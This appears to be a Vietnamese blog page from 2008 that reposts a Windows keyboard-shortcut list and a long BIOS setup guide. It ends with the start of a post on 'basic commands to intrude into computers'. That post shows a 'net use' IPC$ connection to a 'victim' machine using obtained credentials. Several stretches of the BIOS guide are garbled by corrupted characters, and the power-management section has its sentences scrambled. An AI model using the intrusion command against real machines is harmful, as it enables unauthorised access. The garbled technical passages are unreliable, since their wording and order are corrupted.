Hành trình ngàn dặm bắt đầu từ một bước đi

Hãy mơ những gì bạn ước mơ; đi nơi nào bạn muốn đi{ làm những gì bạ~ kháɴ khao; trở thành những ai mà bạn mong muốn, bởi vì bạn chỉ có một cuộc`đời và một cơ hội để làm tất cả những gì(bạn mơ ước...

r9-04-2008
17 phím tắt vô giá trên bàn phím
F2: Đặt lại tên file trong lúc vội vàng có thể khiến bạn dễ dàng thao tác sai click quá nhanh và bạn tình cờ mở một file. Đơn giản hơn là hãy nhấn phím F2 trên bàn phím khi file được chọn. Ctrl + F2: Preview (xem lại) văn bản. Muốn bỏ chế độ preview, làm lại Ctrl + F2. Shift + F3: Để làm nổi bật đoạn văn bản bằng chữ in hoa, đơn giản là bôi đen đoạn văn bản, nhấn đồng thời phím Shift + F3. Nếu muốn cho đoạn văn bản trở lại chữ thường, hãy lập lại động tác nhấn đồng thời Shift + F3. Muốn cho chữ cái đầu tiên trở thành chữ in hoa, đặt con trỏ trước chữ đó và nhấn phím Shift + F3. Windows + E: Windows Explorer là cổng tới file và tài liệu của bạn song để mở nó thường phải liên quan đến desktop hoặc thanh Start Menu. Có một cách khác nhanh hơn là nhấn phím Windows-E và nó sẽ đưa bạn đến ngay Computer (Vista) hay My Computer (XP), một vị trí mặc định sẵn. Windows + F: Tìm kiếm file có thể là một rắc rối nếu bạn là một người tích trữ tài liệu và cách không lãng phí thời gian săn tìm file là sử dụng phím tắt , sẽ mở ra một cửa sổ tìm kiếm và điền vào càng nhiều thông tin có thể về file bạn đang cần tìm. Windows + L: Động tác này sẽ khóa ngay PC của bạn mà không cần chờ cho đến khi chế độ bảo vệ màn hình hoạt động. Windows + M: Vào cuối ngày làm việc, mọi người bị bội thực với một bộ sưu tập các cửa sổ đang mở. sẽ thu nhỏ những cửa sổ này để lộ ra màn hình chính (desktop) và sẽ khôi phục lại những thứ bạn đã bị thu nhỏ trước đó. Windows + R: Hộp Run này là cách tiết kiệm thời gian cực lớn với XP. Từ đây, bạn có thể mở tất cả loại ứng dụng mà không cần chuột. Windows + F1: Trong khi F1 sẽ đưa ra cho bạn file Help (Hỗ trợ) trong hầu hết các ứng dụng, sẽ mở cửa sổ Windows Help. Điều này có thể giúp bạn tiết kiệm thời gian khi bạn không thể nhớ làm thế nào thay đổi một sự sắp đặt hoặc tìm một tính năng nhất định. Windows + Tab: Chuyển dịch giữa các chương trình bạn đang sử dụng. Ở XP, bạn có thể chuyển các cửa sổ bằng cách nhấn phím để chọn đơn vị taskbar với màu sắc khác (xám hoặc xanh) để nhấn mạnh, rồi dùng các phím điều hướng lên hoặc xuống. Nhấn phím Enter sẽ đưa bạn đến cửa sổ đã được lựa chọn.

Windows + Pause/Break: Với những người nâng cấp và điều chỉnh phần cứng, truy cập quản lý thiết bị Device Manager và các cài đặt là một nhiệm vụ thường xuyên. Phím tắt này sẽ đem lại ngay cửa sổ cần thiết cho họ trong nháy mắt. Shift + Delete: Thùng rác Recycle Bin là chỗ tuyệt vời dành cho những ai hay xóa các file mà không suy nghĩ song nó cũng tiềm ẩn nguy cơ cho phép người khác có thể truy cập vào các file nhạy cảm. Giữ phím (hoặc giữ phím Shift trong khi kéo file hoặc tệp vào thùng rác). Các file sẽ bị xóa ngay tức thì. Ctrl + Enter: Một khi bạn đã chọ thanh địa chỉ trong trình duyệt Firefox hoặc Internet Explorer, bạn có thể tiết kiệm thời gian bằng việc gõ chỉ phần giữa của một tên miền. sẽ thêm www. và .com cho bạn. thêm www. Và .org. Alt + Esc: Nếu bạn cần chuyển nhanh đến một cửa sổ khi đang làm việc ở một cửa sổ khác, bạn có thể chọn nó từ thanh taskbar. sẽ “khử” cửa sổ phía sau của bạn và đưa bạn đến một cửa sổ kế ngay đó. Alt + F4: Bỏ ứng dụng đang hoạt động hoặc tắt Windows nếu không có ứng dụng nào. Alt + PrtScrn: Nếu bạn cần chụp một cửa sổ, chỉ cần giữ để tóm được một cửa sổ hoạt động. Alt + Backspace: Trong Microsoft Office, bạn có thể làm lại bất kỳ hiệu chỉnh tự động nào và định dạng tự động bằng việc nhẫn phím . http://giaitri.tuvanonline.com/showthread.php?t=24200 Được đăng bởi haodalat tại 7:08 CH 0 nhận xét Nhãn: HotKey, THỦ THUẬT IT

Cách Setup BIOS

Khi khởi động máy lần đầu tiên, máy tính sẽ đọc một tập hợp dữ liệu được lưu trong CMOS (một chip bộ nhớ đặc biệt luôn hoạt động nhờ 1 cục pin nhỏ), không có thông tin nầy máy tính sẽ bị tê liệt. Việc xác lập các thông tin nầy gọi là Setup Bios và bao giờ người bán cũng phải làm thủ tục Setup Bios ngay sau khi ráp máy. Nhưng bạn cũng phải biết cách Setup Bios để đề phòng trường hợp máy tự mất các thông tin lưu trong Bios vì các lý do như: Hết pin, nhiễu điện, virus...Hiện nay, người ta dùng Flash Ram để lưu thông tin Bios nên không cần phải có Pin nuôi trên mainboard. Tùy Mainboard, các mục trong Bios có thể khác nhau theo từng hãng chế tạo (Award, Ami, Pheonix...) nhưng về căn bản chúng vẫn giống nhau và trong phần nầy chủ yếu bàn về căn bản, còn các tính năng riêng bạn phải chịu khó tìm hiểu thêm nhờ vào các kiến thức căn bản nầy. Màn hình Bios Setup đa số là màn hình chạy ở chế độ TEXT. Gần đây đang phát triển loại BiosWin (Ami) có màn hình Setup gồm nhiều cửa sổ giống tương tự Windows và sử dụng được Mouse trong khi Setup nhưng các mục vẫn không thay đổi. Chú ý thao tác để vào Bios Setup là: Bấm phím Del khi mới khởi động máy đối với máy Ðài Loan. Ðối với các máy Mỹ, thường là bạn phải thông qua chương trình quản lý máy riêng của từng hãng nếu muốn thay đổi các thông

số của Bios. * Bios thường: Di chuyển vệt sáng để lựa chọn mục bằng các phím mũi tên. Thay đổi giá trị của mục đang Set bằng 2 phím Page Up và Page Dn. Sau đó nhấn phím Esc để thoát khỏi mục (giá trị mới sẽ được lưu trữ). Nhấn F10 để thoát Setup Bios nếu muốn lưu các thay đổi, khi hộp thoại hiện ra, bấm Y để lưu, N để không lưu. Nhấn Esc nếu muốn thoát mà không lưu thay đổi, khi hộp thoại hiện ra, bấm Y để không lưu, N để trở lại màn hình Setup Bios. * Bios Win: Màn hình Setup xuất hiện dưới dạng đồ họa gồm nhiều cửa sổ, sử dụng được mouse nếu bạn có mouse loại: PS/2 mouse, Microsoft mouse, Serial mouse, Logitect C mouse. Dùng mouse bấm kép vào cửa sổ để mở một thành phần, bấm vào mục cần thay đổi, một cửa sổ liệt kê giá trị xuất hiện, bấm vào giá trị muốn chọn rồi thoát bằng cách bấm vào ô nhỏ ở góc trên bên trái. Nếu không có mouse, dùng các phím mũi tên để di chuyển, đến mục cần thay đổi bấm Enter, xuất hiện hộp liệt kê, chọn giá trị mới, bấm Enter, cuối cùng bấm Esc. 1. Setup các thành phần căn bản (Standard CMOS Setup): Ðây là các thành phần cơ bản mà Bios trên tất cả các loại máy PC phải biết để quản lý và điều khiển chúng. * Ngày, giờ (Date/Day/Time): Bạn khai báo ngày tháng năm vào mục nầy. Khai báo nầy sẽ được máy tính xem là thông tin gốc và sẽ bắt đầu tính từ đây trở đi. Các thông tin về ngày giờ được sử dụng khi các bạn tạo hay thao tác với các tập tin, thư mục. Có chương trình khi chạy cũng cần thông tin nầy, thí dụ để báo cho bạn cập nhật khi quá hạn, chấm dứt hoạt động khi đến ngày quy định...Bình thường bạn Set sai hay không Set cũng chẳng nh hưởng gì đến hoạt động của máy. Các thông tin nầy có thể sửa chữa trực tiếp ngoài Dos bằng 2 lịnh Date và Time, hay bằng Control Panel của Windows mà không cần vào Bios Setup. Chú ý: Ðồng hồ máy tính luôn luôn chạy chậm khong vài giây/ngày, thỉnh thoảng bạn nên chỉnh lại giờ cho đúng. Nhưng nếu quá chậm là có vấn đề cần phải thay mainboard. * ổ đĩa mềm (Drive A/B): Khai báo loại ổ đĩa cho ổ A và ổ B, bạn căn cứ vào việc nối dây cho ổ đĩa để xác định. ổ đĩa nối với đầu nối ngoài cùng của dây nối là ổ A, ổ kia là B. ổ có kích thước lớn là 1.2M 5.25 inch, ổ nhỏ là 1.44M 3.5 inch. Nếu không có thì chọn Not Installed. Nếu bạn khai báo sai, ổ đĩa sẽ không hoạt động chớ không hư hỏng gì, bạn chỉ cần khai báo lại. Trong các mainboard sử dụng Bios đời mới, khai báo sai loại ổ dĩa 1.2Mb thành 1.4Mb hay ngược lại, ổ dĩa vẫn hoạt

động bình thường nhưng kêu rất lớn lúc mới bắt đầu đọc đĩa, về lâu dài có thể hư đĩa. Các Bios và các card I/O đời mới cho phép bạn tráo đổi 2 ổ đĩa mềm mà không cần tráo đổi dây (swap floppy drive), tức là ổ A thành ổ B và ngược lại khi sử dụng. Khi tráo đổi bằng cách Set jumper trên card I/O, bạn nhớ khai báo lại trong Bios Setup (Khi tráo bằng lịnh Swap trong Bios thì không cần khai báo lại), nhưng có ứng dụng không chịu cài đặt khi Swap đĩa mềm, nhất là các ứng dụng có bảo vệ chống sao chép. * ổ đĩa cứng (Drive C/D) loại IDE: Phần khai báo ổ đĩa cứng rắc rối hơn, bắt buộc bạn phải khai báo chi tiết các thông số, bạn khai báo sai không những ổ cứng không hoạt động mà đôi khi còn làm hư ổ cứng nếu bạn khai báo quá dung lượng thật sự của ổ cứng và cho tiến hành FDISK, FORMAT theo dung lượng sai nầy. May mắn là các Bios sau nầy đều có phần dò tìm thông số ổ cứng IDE tự động (IDE HDD auto detection) nên các bạn khỏi mắc công nhớ khi sử dụng ổ đĩa cứng loại IDE. Chúng tôi sẽ nói về phần auto detect nầy sau. Ngoài ra, các ổ cứng sau nầy đều có ghi thông số trên nhãn dán trên mặt. Bạn cho chạy Auto detect, Bios sẽ tự động điền các thông số nầy dùm bạn. Việc khai báo ổ cứng C và D đòi hỏi phải đúng với việc Set các jumper trên 2 ổ cứng. Bạn xác lập ổ cứng không phải qua đầu nối dây mà bằng các jumper trên mạch điều khiển ổ cứng. Các ổ cứng đời mới chỉ có một jumper 3 vị trí: ổ duy nhất, ổ Master (ổ C), ổ Slave (ổ D) và có ghi rõ cách Set trên nhãn. Các ổ đĩa cứng đời cũ nhiều jumper hơn nên nếu không có tài liệu hướng dẫn là rắc rối, phải mò mẫm rất lâu. * ổ đĩa cứng (Drive E/F) loại IDE: Các Bios và các card I/O đời mới cho phép gắn 4 ổ dĩa cứng, vì hiện nay các ổ dĩa CDROM cũng sử dụng đầu nối ổ cứng để hoạt động, gọi là CDROM Interface IDE (giao diện đĩa IDE) để đơn giản việc lắp đặt. Chú ý: Khai báo là NONE trong Bios Setup cho ổ đĩa CD-ROM. * Màn hình (Video) - Primary Display: EGA/VGA: Dành cho loại màn hình sử dụng card màu EGA hay VGA, Super VGA. CGA 40/CGA 80: Dành cho loại màn hình sử dụng card màu CGA 40 cột hay CGA 80 cột. Mono: Dành cho loại màn hình sử dụng card trắng đen, kể c card VGA khi dùng màn hình trắng đen.

* Treo máy nếu phát hiện lỗi khi khởi động (Error Halt): Tất cả lỗi (All error): Treo máy khi phát hiện bất cứ lỗi nào trong quá trình kiểm tra máy, bạn không nên chọn mục nầy vì Bios sẽ treo máy khi gặp lỗi đầu tiên nên bạn không thể biết các lỗi khác, nếu có. Bỏ qua lỗi của Keyboard (All, But Keyboard): Tất cả các lỗi ngoại trừ lỗi của bàn phím. Bỏ qua lỗi đĩa (All, But Diskette): Tất cả các lỗi ngoại trừ lỗi của đĩa. Bỏ qua lỗi đĩa và bàn phím (All, But Disk/Key): Tất cả các lỗi ngoại trừ lỗi của ổ đĩa và bàn phím. Không treo máy khi có lỗi (No error): Tiến hành quá trình kiểm tra máy cho đến khi hoàn tất dù phát hiện bất cứ lỗi gì. Bạn nên chọn mục nầy để biết máy bị trục trặc ở bộ phận nào mà có phương hướng giải quyết. * Keyboard: Install: Cho kiểm tra bàn phím trong quá trình khởi động, thông báo trên màn hình nếu bàn phím có lỗi. Not Install: Không kiểm tra bàn phím khi khởi động. Chú ý: chọn mục nầy không có nghĩa là vô hiệu hoá bàn phím vì nếu vậy làm sao điều khiển máy. Nó chỉ có tác dụng cho Bios khỏi mất công kiểm tra bàn phím nhằm rút ngắn thời gian khởi động. 2. Setup các thành phần nâng cao (Advanced Setup): * Virut Warning: Nếu Enabled, Bios sẽ báo động và treo máy khi có hành động viết vào Boot sector hay Partition của đĩa cứng. Nếu bạn cần chạy chương trình có thao tác vào 2 nơi đó như: Fdisk, Format... bạn cần phải Disable mục nầy. * Internal cache: Cho hiệu lực (enable) hay vô hiệu hoá (disable) Cache (L1) nội trong CPU 486 trở lên. * External cache: Cho hiệu lực (enable) hay vô hiệu hoá (disable) cache trên mainboard, còn gọi là Cache mức 2 (L2). * Quick Power On Self Test: Nếu enable Bios sẽ rút ngắn và bỏ qua vài mục không quan trọng trong quá trình khởi động, để giảm thời gian khởi động tối đa.

* About 1 MB Memory Test: Nếu Enable Bios sẽ kiểm tra tất cả bộ nhớ. Nếu Disable Bios chỉ kiểm tra 1 Mb bộ nhớ đầu tiên. * Memory Test Tick Sound: Cho phát âm thanh (enable) hay không (disable) trong thời gian test bộ nhớ. * Extended Bios Ram Area: Khai báo mục nầy nếu muốn dùng 1 Kb trên đỉnh của bộ nhớ quy ước, tức Kb bắt đầu từ địa chỉ 639K hay 0:300 của vùng Bios hệ thống trong bộ nhớ quy ước để lưu các thông tin về đĩa cứng. Xác lập có thể là 1K hay 0:300. * Swap Floppy Drive: Tráo đổi tên 2 ổ đĩa mềm, khi chọn mục nầy bạn không cần khai báo lại loại ổ đĩa như khi tráo bằng cách Set jumper trên card I/O. * Boot Sequence: Chọn ổ đĩa cho Bios tìm hệ điều hành khi khởi động. Có thể là C rồi đến A hay A rồi đến C hay chỉ có C. Bạn nên chọn C,A hay chỉ có C, để đề phòng trường hợp vô tình khởi động bằng đĩa mềm có Virus. Hiện nay trên các Mainboard Pentium. Bios cho phép bạn chỉ định khởi động từ 1 trong 2 ổ mềm hay trong 4 ổ cứng IDE hay bằng ổ cứng SCSI thậm chí bằng ổ CD Rom cũng được. * Boot Up Floppy Seek: Nếu Enable Bios sẽ dò tìm kiểu của đĩa mềm là 80 track hay 40 track. Nếu Disable Bios sẽ bỏ qua. Chọn enable làm chậm thời gian khởi động vì Bios luôn luôn phải đọc đĩa mềm trước khi đọc đĩa cứng, mặc dù bạn đã chọn chỉ khởi động bằng ổ C. * Boot Up Numlock Status: Nếu ON là cho phím Numlock mở (đèn Numlock sáng) sau khi khởi động, nhóm phím bên tay phải bàn phím dùng để đánh số. Nếu OFF là cho phím Numlock tắt (đèn Numlock tối), nhóm phím bên tay phải dùng để di chuyển con trỏ. * Boot Up System Speed: Quy định tốc độ của CPU trong thời gian khởi động là High (cao) hay Low (thấp). * Memory Parity Check: Kiểm tra chẵn lẻ bộ nhớ. Chọn theo mainboard vì có loại cho phép mục nầy enable, có loại bắt bạn phải disable mới chịu chạy. Ðầu tiên bạn chọn enable, nếu máy treo bạn chọn lại là disable. Mục nầy không ảnh hưởng đến hệ

thống, chỉ có tác dụng kiểm tra Ram. * IDE HDD Block Mode: Nếu ổ đĩa cứng của bạn hỗ trợ kiểu vận chuyển dữ liệu theo từng khối (các ổ đĩa đời mới có dung lượng cao). Bạn cho enable để tăng tốc cho ổ đĩa. Nếu ổ đĩa đời cũ bạn cho disable mục nầy. * Pri. Master/Slave LBA (Logic Block Addressing) Mode: Nếu 2 ổ đĩa cứng được nối vào đầu nối Primary của card I/O có dung lượng lớn hơn 528Mb, bạn cho enable mục nầy. * Sec. IDE Ctrl Drives Install: Mục nầy để khai báo máy bạn có ổ đĩa cứng nối vào đầu nối Secondary của card I/O. Các chỉ định có thể là Master, Mst/Slv và disable. * Sec Master/Slave LBA Mode: Xác lập LBA cho đầu nối thứ 2. Chú ý: Các mục hỗ trợ cho ổ đĩa cứng có dung lượng lớn và các card I/O đời mới giúp bạn sử dụng ổ đĩa có dung lượng trên 528Mb. Trong trường hợp bạn cho enable các mục nầy rồi mới tiến hành Fdisk và Format đĩa, nếu sau đó bạn lại disable các mục nầy hay đem gắn qua máy khác cũng chọn disable, bạn sẽ không thể sử dụng được ổ dĩa cứng. Khi dùng ổ CDROM có đầu nối I ၄ E,䀠 bạn nên gắn vào đầu nối Secondary để khỏi ảnh hưở 䀠 g đến ổ dĩa cứng (gắn vào đầu nối Pri) khi cần chạy 32BitDiskAccess trong Windows. * Typematic Rate 䁓 etting: Nếu enable là bạn cho 2 mục dưới đây có hiệu lực. 2 mục nầy thay thế lịnh Mode của DOS, quy$định tổc độ và$thời gian trể ၄ủa bàn phím. * Typematic!Rate (Chars/Sec): Bạn lựa chọn số ký tự/giây tuỳ theo tốc độ đánh phím nhanh ha⁹ chậm của ɢạn. Nếu bạn Set thấp hơn tốc độ đánh 耠 thì máy sẽ phát tiếng Bip khi nó chạy theo không kịp. Ȫ Typematic Delay (Msec): Chỉ 耠 định thời gian lập lại ký tự khi bạn bấm và giữ luǴn phím, tính bằng mili giây. * Security ɏption: Mục nầy dùng để giới hạn việc sử dụng hệ thống và Bios Setup. Setup: Giới hạn việc thay đổi Bios Setup, mỗi {hi muốn väo Bios Setup âạn phải đánh đúng mật khẩu đã quy định$trước. Sysɴem hay Always: Giới hạn việc sử 聤 ụng máy. Mỗi khi mở máy, Bios luôn

luô~ hỏi mật khẩu, nếu không biết mật khẩu Bios sẽ không cho phép sử dụng máy. Chú ýк Trɯng trường hợp bạn chưa chỉ định mật khẩu, để Disable (vô hiệu hoá) mục nầy, bạn chọn Password Setting, bạn đừng đánh gì vào các ô nhập mật khẩu mà chỉ cần bấm ENTER. Trong trường hợp bạn đã có chỉ định mật khẩu nay lại muốn bỏ đi. Bạn chọn Password Setting, bạn đánh mật khẩu cũ vào ô nhập mật khẩu cũ (Old Password) còn trong†ô n 䀠 ập mật khẩu ѭới 8New Password) bạn†đừng đánh gì cả mà chỉ c 䀠 n bấm ENTER. Có mainboard thiết kế thêm 1 jump 䁥 r để xoá riêng mật khẩu ngoài jumper để xoá toàn bộ thông tin trong CMOS. ɔốt hơn hết là bạn ၄ đừng sử dụng mục nầy vì bản thân chúng tôi chứng kiến rất nhiều trường hợp dở khóc dở cười do mục nầy gây ra. Lợi ít mà hại nhiều. Chỉ những máy tính công cộng mới phải sử dụng tới mục nầy thôi. * System Bios Shadow, Video Bios Shadow: Nếu enable là cho copy các dữ liệu về System và Video trong Bios (có tốc độ chậm) vào Ram (tốc độ nhanh) để rút ngắn thời gian khi cần truy nhập vào các dữ liệu nầy. * Wait for if Any Error: Cho hiện thông báo chờ ấn phím F1 khi có lỗi. * Numeric Processor: Thông báo có gắn CPU đồng xử lý (Present) trên máy hay không (absent). Mục nầy thường có cho các máy dùng CPU 286, 386, 486SX. Từ 486DX trở về sau đã có con đồng xử lý bên trong CPU nên trên các máy mới có thể không có mục nầy. * Turbo Switch Funtion: Cho nút Turbo có hiệu lực (enable) hay không (disable). Mục nầy thường thấy ở các Bios đời củ, trên các máy đời mới lựa chọn nầy thường bằng cách Set jumper của Mainboard. Từ Mainboard pentium trở đi không có mục nầy. 3. Setup các thành phần có liên quan đến vận hành hệ thống (Chipset Setup): * Auto Configuration: Nếu enable, Bios sẽ tự động xác lập các thành phần về DRAM, Cache...mỗi khi khởi động tùy theo CPU Type (kiểu CPU) và System Clock (tốc độ hệ thống). Nếu Disable là để cho bạn tự chỉ định. * AT Clock Option: Nếu Async (không đồng bộ) là lấy dao động chuẩn của bộ dao động thạch anh chia đôi làm tốc độ hoạt động cho AT Bus (bus 8 - 16Bit). Thường là

14.318MHz/2 tức 7.159MHz. Có Bios còn cho chọn tốc độ của mục nầy là 14.318MHz. Nếu Sync (đồng bộ) là dùng System Clock (do bạn chỉ định bằng cách Set jumper trên mainboard) làm tốc độ chuẩn. * Synchronous AT Clock/AT Bus Clock Selector: Chỉ định tốc độ hoạt động cho AT Bus bằng cách lấy tốc độ chuẩn (system clock) chia nhỏ để còn lại khoảng 8MHz cho phù hợp với card 16Bit. Các lựa chọn như sau: CLKI/3 khi system clock là 20 - 25MHz. CLKI/4 khi system clock là 33MHz. CLKI/5 khi system clock là 40MHz. CLKI/6 khi system clock là 50MHz. Tốc độ nầy càng lớn (số chia càng nhỏ), máy chạy càng nhanh do tăng tốc độ vận chuyển dữ liệu. Tuy nhiên lớn đến đâu là còn tùy thuộc vào mainboard và card cắm trên các Slot (quan trọng nhất là card I/O). Các bạn phải thí nghiệm giảm số chia từng nấc và chú ý máy có khởi động hay đọc đĩa bình thường không, nếu phát sinh trục trặc thì giảm xuống 1 nấc. Thường thì bạn có thể tăng được 2 nấc, thí dụ: System clock là 40MHz, bạn chọn CLKI/3. Card ISA 8 và 16 Bit có thể chạy tốt trong khoảng từ 8MHz đến 14MHz. Nếu nhanh quá, thường card I/O gặp trục trặc trước (không đọc được đĩa cứng). * AT Cycle Wait States/Extra AT Cycle WS: Ðể enable hay disable việc chèn thêm 1 thời gian chờ vào thời gian chuẩn của AT Bus. Nếu system clock dưới 33MHz chọn disable. Nếu trên 33MHz chọn enable. * Fast AT Cycle: Khi enable sẽ rút ngắn thời gian chuẩn của AT Bus. * DRAM Read Wait States/DRAM Brust Cycle: Dưới 33MHz là: 3 - 2 - 2 - 2 hay 2 - 1 - 1 - 1 Từ 33 - 45MHz là: 4 - 3 - 3 - 3 hay 2 - 2 - 2 - 2 50MHz là: 5 - 4 - 4 - 4 hay 3 - 2 - 2 - 2 Chọn mục nầy ảnh hưởng lớn đến tốc độ CPU. * DRAM/Memory Write Wait States: Chọn 1WS khi hệ thống nhanh hay DRAM chậm (tốc độ 40MHz trở lên). Chọn 0WS khi hệ thống và DRAM có thể tương thích (33MHz trở xuống).

Do đó trong phần nầy có 2 loại chỉ định dành cho 2 loại CPU. Bạn chỉ được enable mục nầy khi bộ nhớ của máy hỗ trợ việc cho phép làm tươi chậm.* Hidden Refresh Option: Khi enable. Sau đó bạn bấm OK hay YES để Bios điền vào phần Standard dùm cho bạn. . Min Saving: Dùng các giá trị thời gian dài nhất cho các lựa chọn (tiết kiệm năng lượng ít nhất). Xác lập Write-Through máy sẽ chạy chậm hơn Write-Back nhưng việc lực chọn còn tuỳ thuộc vào loại CPU. Ðối với Pentium: Dùng chung cho mọi loại Pentium hay các chíp của các hảng khác cùng đời với Pentium. Tuỳ theo cách sử dụng ổ dĩa (normal. * Power Management Setup: Ðối với CPU 486: Phần nầy là các chỉ định cho chương trình tiết kiệm năng lượng sẵn chứa trong các Bios đời mới. CPU kiểu S hay CPU có 2 ký tự cuối SL là một loại CPU được chế tạo đặc biệt.. * L1 Cache Mode: Lựa chọn giữa Write-Through và Write-Back cho Cache nội trong CPU 486 trở lên. * L2 Cache Mode: Xác lập cho cache trên mainboard. Auto detect có thể đưa ra vài loại ổ đĩa. Chương trình nầy dùng được cho cả 2 loại CPU: Loại thường và loại CPU kiểu S. Enable/User Define: Cho chương trình nầy có hiệu lực.) mà bạn chọn loại thích hợp. * Slow Refresh Enable: Mục nầy nhằm bảo đảm an toàn dữ liệu trên DRAM. * Power Management/Power Saving Mode: Disable: Không sử dụng chương trình nầy.. LBA. có thêm bộ phận quản lý năng lượng trong CPU.. CPU sẽ làm việc nhanh hơn do không phải chờ mỗi khi DRAM được làm tươi. Trong Bios đời mới. thời gian làm tươi sẽ kéo dài hơn bình thường. * IDE HDD Auto Detection/IDE SETUP: Khi chọn mục nầy sẽ xuất hiện một cửa sổ cho bạn chỉ định ổ đĩa cần dò tìm thông số (2 hay 4 ổ đĩa tuỳ theo Bios).

* Pmi/Smi: Nếu chọn SMI là máy đang gắn CPU kiểu S của hãng Intel. Khi sử dụng Card PCI IDE rời. đang chạy Defrag tự nhiên máy chậm cực kỳ. * Sleep Clock: Mục nầy chỉ dùng cho CPU kiểu S: Stop CPU hạ tốc độ xuống còn 0MHz (ngưng hẳn).. Khi đúng thời gian máy đã rảnh (không nhận được tín hiệu từ các ngắt) theo quy định. . Phần dành riêng cho Mainboard theo chuẩn giao tiếp PCI có I/O và IDE On Board (peripheral Setup): * PCI On Board IDE: Cho hiệu lực (enabled) hay vô hiệu (disabled) 2 đầu nối ổ đĩa cứng IDE trên mainboard. để tránh các tình huống bất ngờ như: đang cài chương trình. Nếu chọn Auto là máy đang gắn CPU thường. ta cần chọn disabled...Max Saving: Dùng các giá trị thời gian ngắn nhất cho các lựa chọn (tiết kiệm nhiều nhất). Bạn chọn thời gian theo ý bạn (có thể từ 10 giây đến 4 giờ) hay disable nếu không muốn sử dụng mục nầy. * Doze Timer: Mục nầy chỉ dùng cho CPU kiểu S. Chú ý: Do Bios được sản xuất để sử dụng cho nhiều loại máy khác nhau nên các bạn luôn luôn gặp phần nầy trong các Bios. Thời gian có thể từ 10 giây đến 4 giờ. CPU tự động hạ tốc độ xuống còn 8MHz. tự nhiên máy ngưng hoạt động. * HDD Standby Timer/HDD Power Down: Chỉ định thời gian ngừng motor của ổ đĩa cứng. Chúng tôi khuyên các bạn đang sử dụng máy để bàn (desktop) nên vô hiệu hoá tất cả các mục trong phần nầy. 4. Slow CPU hạ tốc độ xuống còn 8MHz. * Sleep Timer/Standby timer: Mục nầy chỉ dùng cho CPU kiểu S. * Chỉ định: Các chỉ định cho chương trình quản lý nguồn biết cần kiểm tra bộ phận nào khi chạy. Chỉ định thời gian máy rảnh trước khi vào chế độ Sleep (ngưng hoạt động). Thực ra chúng chỉ có giá trị cho các máy xách tay (laptop) vì xài pin nên vấn đề tiết kiệm năng lượng được đặt lên hàng đầu. * CRT Sleep: Nếu Enable là màn hình sẽ tắt khi máy vào chế độ Sleep.

v. Slot có số thứ tự lớn sẽ được gán ngắt 10. * PCI Card Present on: Khai báo có sử dụng Card PCI IDE rời hay không và nếu có thì được cắm vào Slot nào. nhưng cũng có ổ đĩa không khởi động được khi enabled mục nầy dù fdisk và format vẫn bình thường. Thí dụ: 1 = 9. * PCI On Board Speed Mode: Chỉ định kiểu vận chuyển dữ liệu (PIO speed mode).. Slot 2.v. Mục nầy bổ sung cho mục trên và chỉ có tác dụng với đầu nối thứ 2. Chú ý: Nếu bạn sử dụng Card bổ sung có xác lập điạ chỉ là COM 1 hay COM 2. 3 = 11. mode 4. Chú ý: Trong mục nầy có phần xác lập thứ tự gán ngắt cho các Card bổ sung. Slot 4. PCI Secondary IDE IRQ: Chỉ định cách xác lập ngắt cho Card PCI IDE rời. * Primary Seral Port: Cho hiệu lực hay không cổng COM 1 và xác lập địa chỉ cho cổng nầy. Slot 1. Slot 3. * Secondary Serial Port: Cho hiệu lực hay không cổng COM 2 và xác lập địa chỉ cho cổng nầy. Các mục chọn là: Disabled. mode 1.. 2 = 10. * FDC Control: Cho hiệu lực hay không đầu nối cáp và xác lập địa chỉ cho ổ đĩa mềm. Auto. Auto. PCI Primary IDE IRQ. 4 = 12 có nghĩa là Card đầu tiên cắm vào bất kỳ Slot nào sẽ được gán ngắt 9. * PCI Bus Park. Host to DRAM Burst Write: Các mục nầy xác lập cho PCU Bus. bạn phải disabled cổng tương ứng trong hai mục trên. * PCI IRQ. mode 3. có thể để nguyên xác lập mặc nhiên. Host to PCI Burst Write.. mode 2. Có thể là Disabled. . Post Write Buffer: Khi enabled các mục nầy có thể tăng cường thêm tốc độ hệ thống. Trong đó mode 4 là nhanh nhất. nếu có 2 Card thì Card cắm vào Slot có số thứ tự nhỏ sẽ được gán ngắt 9. * Host to PCI Post Write W/S.* PCI On Board Secondary IDE: Cho hiệu lực (enabled) hay vô hiệu (disabled) đầu nối ổ đĩa cứng IDE thứ 2 trên mainboard. * IDE 32Bit Transfers Mode: Xác lập nầy nhằm tăng cường tốc độ cho ổ đĩa cứng trên 528Mb. không ảnh hưởng nhiều đến tốc độ CPU.

Hướng dẫn Setup Bios: Trong các tài liệu đi kèm mainboard.* Parallel Port: Cho hiệu lực hay không cổng LPT 1 và xác lập địa chỉ cho cổng nầy. phần Standard. Phần Chipset ảnh hưởng đến tốc độ máy.1 Hãy mở trình Ms dos và gõ vào lệnh sau : Net use \\127. trước tiên bạn hãy Set các thành phần đã biết.0.bây giờ tui xin ví dụ là bác có được User la hbx và passwords : 123456…IP : 127. Khi mua máy hay mua mainboard.1\ipc$ “123456″ /user:”hbx” đẩ kết nồi một IPC$ với máy victtim . chạy các chương trình kiểm tra để xem tốc độ CPU. Chúng tôi xin nhắc lại. cuối cùng mới Set tới các thành phần chưa biết. Cách làm nầy gíúp bạn phát hiện được ảnh hưởng của từng mục vào hệ thống và bạn có thể biết chắc trục trặc phát sinh do mục nào để sửa chữa.0. cách vận chuyển dữ liệu cho IDE On Board. Khi xẩy ra trục trặc mà bạn không biết đối phó. bạn nên theo một nguyên tắc sau: Chỉ Set từng mục một rồi khởi động máy lại. Trên mainboard luôn luôn có 1 Jumper dùng để xóa các thông tin lưu trong CMOS để bạn có thể tạo lại các thông tin nầy trong trường hợp không thể vào lại Bios Setup khi khởi động máy. Phần PCI ảnh hưởng đến các gán ngắt.0. địa chỉ cho các Slot PCI.php?t=14075 Được đăng bởi haodalat tại 7:04 CH 0 nhận xét Nhãn: BIOS. Nếu gặp các thành phần hoàn toàn mới. Khi tiến hành tìm hiểu Setup Bios. Trong các phần Setup trên. 5. ổ đĩa có thay đổi gì không?. đều có hướng dẫn Setup Bios.com/showthread.tuvanonline. việc Setup Bios sai không bao giờ làm hư máy và các bạn sẽ dễ dàng Setup lại nhờ vào chính Bios. cổng. CÓ THỂ BẠN CHƯA BIẾT. THỦ THUẬT IT 27-04-2008 Phần 1 : Net Các lệnh cơ bản để xâm nhập máy tính chỉ cần bố cháu có được User và Passwords của một IP nào trên Net…thế là bố cháu có thể kết nói một IPC$ rồi đấy…. http://giaitri. bạn chỉ cần vào lại Bios Setup chọn Load Bios Default hay bấm F6 trong phần Set mà bạn muốn phục hồi 